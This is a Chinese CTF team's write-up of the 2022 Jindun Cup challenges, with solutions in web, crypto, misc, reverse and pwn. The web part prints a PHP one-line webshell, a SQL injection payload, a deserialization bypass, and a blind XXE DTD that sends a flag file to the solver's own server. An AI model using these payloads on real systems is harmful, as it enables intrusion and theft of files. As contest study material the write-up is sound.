金盾杯2022-AGCTFS战队 wp

news2025/2/2 15:01:13

文章目录

  • Web
    • 图书馆
    • EzPHP
    • eZphp2
    • SQL
    • Skip
    • 有来无回
    • 反败为胜
  • Crypto
    • 小菜一碟
    • RRSSAA
    • simpleR
    • rand
  • MISC
    • 盗梦空间
    • qianda0_Sudoku
    • 数据泄露01-账号泄露追踪
    • 数据泄露02-泄露的密码
    • 数据泄露03-泄露的密钥
  • Reverse
    • Tea
  • Pwn
    • Login
    • Wtf

Web

图书馆

在这里插入图片描述

根据提示找到

干货|最全的Tomcat漏洞复现笔记 - 腾讯云开发者社区-腾讯云 (tencent.com)

然后文件上传即可

image-20221220213646423

在这里插入图片描述

EzPHP

扫目录得到index.php.bak文件,代码审计,长度小于20,且禁了许多函数,只能先查看目录,然后找flag位置。

木马文件写入,凑了一个

<?=$_GET[2]($_GET[1]);

利用[绕过_,传入木马。
在这里插入图片描述

利用assert命令执行。

image-20221220214157553

在这里插入图片描述
在这里插入图片描述
得到flag:flag{d41d48e8-e84b-4521-963d-a4258d529eff}

eZphp2

发现源码

image-20221220215907440

然后还是传入木马,这次要18位,但eval没被禁。

在这里插入图片描述
在这里插入图片描述

SQL

SQL注入,直接给了代码,用

二次url编码绕过。

Payload:

?id=-1%2527union+select+1,2,(select+flag%20from%20is_this_flag)%23

image-20221220214311946

Skip

之前见到过类似的,直接用脚本

import requests

url ='http://59.110.213.14:56935/?'+'x=1&'*999+'proxy=foo'
re = requests.get(url)
print(re.text)

在这里插入图片描述

有来无回

题目提示了xxe.php,直接访问。
在这里插入图片描述
知道了是Blind XXE to build a OOB

在网上知道到相关内容

在自己的vps上搞一个feng.dtd,然后监听9999端口

<!ENTITY % p1 SYSTEM "file:///tmp/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://vps/pass=%p1;'>">
%p2;
~
直接打xxe
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag.txt">
<!ENTITY % hack SYSTEM " http://vps/feng.dtd">
%hack;
%dtd;
]>
<cys>&xxe;</cys>

image-20221220214412850

反败为胜

在这里插入图片描述

Rc4解码,密钥为0626

得到源代码:

<?php
echo("ser.php: You find me!");
class ouo{
    private $ser_code = "ser";
    function __destruct(){
        if(!empty($this->ser_code)) {
            if($this->ser_code == "FLAG")
                echo ("{flag}");
            else
                die('Try Again!');
        }}
    function __wakeup(){
        $this->ser_code=null;
    }
}
$ser_code = $_COOKIE['SER'];
unserialize($ser_code);
?>

简单的反序列化,绕过wakeup即可。

脚本:

<?php

class ouo{
    private $ser_code = "FLAG";
}
echo urlencode(serialize(new ouo))
?>

把1改成2,绕过wakeup

Payload:

O%3A3%3A%22ouo%22%3A1%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

在这里插入图片描述

Crypto

小菜一碟

网上找到脚本:

import gmpy2
import binascii
p = gmpy2.mpz(159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199)
q = gmpy2.mpz(172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477)
e = gmpy2.mpz(19999)
n=p*q
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
c = gmpy2.mpz(15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395)
m = pow(c, d, n)
m_hex = hex(m)[2:]
print("%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))

RRSSAA

共模攻击,网上找到了脚本。

CTF-RSA_共模攻击原理及脚本_风二西的博客-CSDN博客_共模攻击

#coding:utf-8
import gmpy2
import libnum

p= 123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687
q= 97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729
e1= 2333
c1= 3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988
e2= 23333
c2= 3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715
n=p*q

def rsa_gong_N_def(e1,e2,c1,c2,n):
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    print("e1,e2:",e1,e2)
    print(gmpy2.gcd(e1,e2))
    s = gmpy2.gcdext(e1, e2)
    print(s)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)
m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(libnum.n2s(int(m)).decode())

image-20221220214647614

simpleR

简单的RSA。

脚本

import gmpy2
import libnum

e=2
c=3136716033731914452763044128945241240021620048803150767745968848345189851269112855865110275244336447973330360214689062351028386721896599362080560109450218446175674155425523734453425305156053870568600329

a = int(gmpy2.isqrt(c))
b = libnum.n2s(a)

print(b)

rand

直接跑脚本:

import random
import time

a = 881235169941718345882433419366
t = time.mktime(time.strptime("2022-12-10 10:30:50", "%Y-%m-%d %H:%M:%S"))
random.seed(t)
rand = random.randint(0, 10 ** 30)
x = rand
flag = a ^ x
print(flag)

在这里插入图片描述

MISC

盗梦空间

使用随波逐流工具,多次base家族解码得到逆序flag

在这里插入图片描述
在线逆序

image-20221220214755122

Flag:

flag{ILoveBeiJingTianAnMen}

qianda0_Sudoku

有数为1,空格为0

在这里插入图片描述
在这里插入图片描述
Flag:flag{sud0ku_fuN}

数据泄露01-账号泄露追踪

在github中找到了

GitHub - tanyiqu66/hongxiangjiao

在项目里得到了

image-20221220214855814

所以flag为:flag{GBUfty0vMqlrGOdE}

数据泄露02-泄露的密码

关于红香蕉APP接口异常问题 - tanyiqu66 - 博客园 (cnblogs.com)

的到红香蕉的超级密码。

Flag为: flag{redbanana2022sss}

数据泄露03-泄露的密钥

又搜到了吴硕 - 知乎 (zhihu.com)

得到key

在这里插入图片描述

Flag为: flag{51d0a99c-752e-11ed-b5a7-44af28a75237}

Reverse

Tea

Ida64打开

image-20221220214953468

跟进sub_140001000

在这里插入图片描述

根据文件名称推测该算法为xxtea加密

参考https://www.jianshu.com/p/4272e0805da3 中xxtea脚本稍作修改
在这里插入图片描述

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}

int main()
{
    uint32_t v[9] =  { 0x6456DD95 ,0x2A41FD67 ,0x0AFE574A5 ,0x4BFA8D72 ,0x0E2BF316F ,0x166B34BD ,0x6232283A ,0x4A1A8794 ,0x0D591779B };
    uint32_t v8[4] = { 0x5571CB4E ,0xC38A9D2F ,0x1D835B62,0x93C3DC19 };
    int n = 9;
    btea(v, -n, v8);
    for (int i = 0; i < 9; i++) {
        for (int j = 0; j < 4; j++) {
            printf("%c", v[i]);
            v[i] >>=8;
        }
    }
    return 0;
}

运行得Flag:flag{3430DF69-C220-40F9-9667-2B8C4A2FE6E9}

Pwn

Login

原题pwnable 笔记 Rookiss - simple login - 50 pt_TaQini852的博客-CSDN博客

参考原题写出脚本

image-20221220215109854

运行后在home/pwn目录下找到flag

Flag:flag{wel30me_t0_l0g1n}

Wtf

nc后知运行顺序为python先elf后

ida64分析elf

在这里插入图片描述
在这里插入图片描述
输入-1能使其一直读入,直到遇到回车,溢出点为a1,a1在主函数控制覆盖返回地址为win函数缓冲区一共是4096,加上-1和\n,扣掉就是4094。填满输入缓冲区,可读取payload。

编写脚本

image-20221220215146995
运行得flag
在这里插入图片描述

运行后在home/pwn目录下找到flag

Flag:flag{wel30me_t0_l0g1n}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/104019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt5 网页标题、关键词提取工具Findyou

Qt5 网页标题、关键词提取工具Findyou 一、程序运行 运行界面 辅助功能&#xff0c;可用于将扫描器的扫描结果转换为url 二、所涉及的重要知识点 1、Qt爬取https的网页 来自宇龍_ https://blog.csdn.net/qq_45809384/article/details/122049295?spm1001.2014.3001.5506 打…

Foxmail客户端添加163账号和邮件备份163邮箱

文章目录一、Foxmail添加163账号1. 点击图标2. 账号管理3. 新建4. 手动设置5. 填写信息6. 创建二、邮件转移备份2.1. 邮件折叠2.2. 选择目标邮箱2.3. 同步服务端Foxmail客户端添加163账号的具体步骤如下&#xff1a;一、Foxmail添加163账号 1. 点击图标 首先打开Foxmail客户端…

51寻找数组中出现次数超一半的数

51寻找数组中出现次数超一半的数 一看题目就想用hash表&#xff0c;但是要求空间复杂度为1&#xff0c;说明不可以用哈希表去存。一直在原地数组上思考&#xff0c;类似桶排序&#xff0c;可是这取决于数值的大小&#xff0c;最后还是看了题解&#xff0c;学到了。 思想是&…

外汇天眼:一笔赚了12600美元 你羡慕吗?

在外汇投资中&#xff0c;黑平台一直是外汇投资圈的一枚毒瘤&#xff0c;不能顺利出金也是外汇投资面临的最大风险之一。 对于外汇投资者而言&#xff0c;外汇交易平台的选择至关重要。 选择好的外汇交易平台&#xff0c;最重要的是&#xff1a;选择安全可靠的平台&#xff0…

Blackmagic黑魔法摄像机braw视频帧损坏文件修复方法

Blackmagic是全球知名的影视级产品供应商&#xff0c;其高清摄像机是国内外各种剧组的最爱。Blackmagic的新产品目前使用braw格式&#xff0c;其编码采用自定义的raw编码&#xff0c;视频的效果和阿莱不相上下。之前我们已经多次介绍过这种braw文件的修复&#xff0c;近期我们处…

grpc的使用

GRPC学习 本文包括grpc的入门使用和四种实现方式 文章目录一、GRPC 安装和hello world1、什么是GRPC2、安装grpc和代码3、服务端3.1、取出 server3.2、挂载方法3.3、注册服务3.4、创建监听4、客户端二、protobuf语法三、GRPC server 的使用1、普通服务2、流式传入&#xff08;客…

通达信破解接口怎么委托下单?

通达信破解接口主要是利用数学公式建立模型&#xff0c;通过大量数据判断未来价格走势&#xff0c;通过程序选股。虽然选股也比较广泛&#xff0c;但也能覆盖A股市场的四千多只股票&#xff0c;能排除强行涨跌等人为因素&#xff0c;执行的纪律性强。所以对于通达信破解接口对股…

【笔记】git 修改之前的提交记录信息(git commit -m ‘...‘)

文章目录一、修改最后一条提交记录信息二、修改前面某条或某几条提交记录信息一、修改最后一条提交记录信息 git commit --amend进入vi编辑器后&#xff1a; 按i下方出现’- - 插入 - -‘的提示时&#xff0c;便可编辑提交记录信息按ESC&#xff0c;输入:wq保存退出&#xff0…

ICG衍生物ICG-Sulfo-OSu的产品描述及保存建议

中文名称 ICG-Sulfo-OSu 英文名字 ICG-Sulfo-OSu 凯新生物描述: &#xff08;ICG&#xff09;是一种用于医学诊断的菁染料它用于测定心输出量、肝功能和肝血流&#xff0c;以及眼科血管造影它的峰值光谱吸收接近800 nm这些红外频率穿透视网膜层&#xff0c;使ICG血管造影能够比…

【STA】(2)概念

目录 1.CMOS逻辑设计 1.1 基本MOS结构 1.2 COMS逻辑门 1.3 标准单元 2.CMOS单元建模 3.电平翻转波形 4.传播延迟 5.波形的转换率 6.信号之间的偏移 7. 时序弧和单调性 8.最小和最大时序路径 9.时钟域 10.工作条件 1.CMOS逻辑设计 1.1 基本MOS结构 MOS(Metal Oxide…

2022年Python笔试选择题及答案(秋招)

2022年Python笔试选择题及答案&#xff08;秋招&#xff09; &#x1f3e0;个人主页&#xff1a;编程ID &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是编程ID&#xff0c;一个想要与大家共同进步的程序员儿 &#x1f9d1;如果各位哥哥姐姐在准备面试&#xff0c;找…

【Redis-11】Redis事务实现原理

Redis通过MULTI、EXEC、WATCH等命令来实现事务的功能&#xff0c;事务提供了一种将多个命令请求打包&#xff0c;然后一次性&#xff0c;顺序性的执行多个命令的机制。在事务执行期间&#xff0c;服务器不会中断事务去执行其他客户端的命令&#xff0c;他会讲事务中所有命令执行…

谈主成分分析/因子分析中的特征值“矩阵近似”

主成分分析和因子分析是数据降维的常用手段&#xff0c;其中以特征值为载体&#xff0c;在不断降维“近似”原本的协方差矩阵。 CSDN中一些文章在介绍这个问题或者叫“特征值分解”时&#xff0c;讲得都比较学术化&#xff0c;今天用一个小例子&#xff0c;还是面向新人&#…

Redis高可用之哨兵机制实现细节

Redis高可用之哨兵机制实现细节 本文来自我的 technotes [1] Redis篇&#xff0c;欢迎你常来逛逛。 正文 在上一篇的文章《Redis高可用全景一览》中&#xff0c;我们学习了 Redis 的高可用性。高可用性有两方面含义&#xff1a;一是服务少中断&#xff0c;二是数据少丢失。主…

【树莓派不吃灰】兄弟连篇⑥ Linux系统进程管理

目录1、进程查看1.1 ps1.2 top1.3 pstree2、终止进程2.1 kill2.2 killall2.3 pkill3、工作管理4、系统资源查看4.1 vmstat 监控系统资源4.2 dmesg 开机内核检测信息4.3 free 查看内存使用4.4 查看cpu信息4.5 uptime4.6 uname4.7 判断当前系统位数4.8 查询当前linux发行版本4.9 …

Windows及Kail安装配置

apache在kali环境搭建 Kali虚拟机中是包含有Apache的&#xff0c;在/etc目录下ls即可显示出来&#xff0c; 所以这里只需要进行配置就可以了。 图1.1 Apache2目录 打开Apache服务&#xff0c;开启后可以使用status命令查看服务状态。 /etc/init.d/apache2 start /etc/init.d…

【5】控制语句

指针 Go中不用“->”运算符&#xff0c;用的是 “.” 选择符“&”&#xff1a;取地址符“*”&#xff1a;访问目标对象符默认值为&#xff1a;nil (不是NULL)、- -:作为语句&#xff0c;只可以自己放一行&#xff0c;而且放在右边&#xff08;不是表达式&#xff09; …

一款强大的API接口文档管理工具(Smart-Doc + Torna)

【本文由龙飞同学供稿】 在团队协作开发项目的时候&#xff0c;接口文档承担着向其他开发人员说明接口相关信息的重要任务&#xff0c;因此&#xff0c;一份清晰而又相近的接口文档至关重要。 但是&#xff0c;写接口文档的痛苦想必各位开发人员都体验过&#xff0c;明明写接…

在职读研有意义么?来社科院与杜兰大学金融管理硕士项目探寻答案

在职场当我们遇到变化&#xff0c;尤其是发展上有瓶颈期的时候&#xff0c;我们会寻找向内突破&#xff0c;通过提升自己的核心竞争力来应对&#xff0c;通过再学习来增加自身的优势。那么在职读研有意义吗&#xff1f;我们来社科院与杜兰大学金融管理硕士项目来探寻。 一、读在…

Postman接口测试之Mock快速入门

一、Mock简介 1.Mock定义 Mock是一种比较特殊的测试技巧&#xff0c;可以在没有依赖项的情况下进行接口或单元测试。通常情况下&#xff0c;Mock与其他方法的区别是&#xff0c;用于模拟代码依赖对象&#xff0c;并允许设置对应的期望值。简单一点来讲&#xff0c;就是Mock创建…